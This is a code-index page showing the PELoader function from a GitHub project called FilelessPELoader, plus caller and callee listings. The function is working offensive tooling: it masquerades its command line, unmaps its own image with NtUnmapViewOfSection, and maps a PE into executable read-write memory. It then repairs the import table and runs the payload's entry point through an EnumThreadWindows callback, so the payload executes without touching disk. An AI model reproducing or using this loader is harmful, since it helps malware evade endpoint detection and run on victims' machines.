MCPcopy Create free account
hub / github.com/SaadAhla/FilelessPELoader / PELoader

Function PELoader

FilelessPELoader/FilelessPELoader.cpp:480–536  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

478}
479
480void PELoader(char* data, DWORD datasize)
481{
482
483 masqueradeCmdline();
484
485 unsigned int chksum = 0;
486 for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; };
487
488 BYTE* pImageBase = NULL;
489 LPVOID preferAddr = 0;
490 DWORD OldProtect = 0;
491
492 IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data);
493 if (!ntHeader) {
494 exit(0);
495 }
496
497 IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC);
498 preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase;
499
500
501 HMODULE dll = LoadLibraryA("ntdll.dll");
502 ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase);
503
504 pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
505 if (!pImageBase) {
506 if (!relocDir) {
507 exit(0);
508 }
509 else {
510 pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
511 if (!pImageBase)
512 {
513 exit(0);
514 }
515 }
516 }
517
518 // FILL the memory block with PEdata
519 ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase;
520 memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders);
521
522 IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS));
523 for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
524 {
525 memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData);
526 }
527
528 // Fix the PE Import addr table
529 RepairIAT(pImageBase);
530
531 // AddressOfEntryPoint
532 size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint;
533
534 EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0);
535
536}
537

Callers 1

mainFunction · 0.85

Calls 4

masqueradeCmdlineFunction · 0.85
GetNTHeadersFunction · 0.85
GetPEDirectoryFunction · 0.85
RepairIATFunction · 0.85

Tested by

no test coverage detected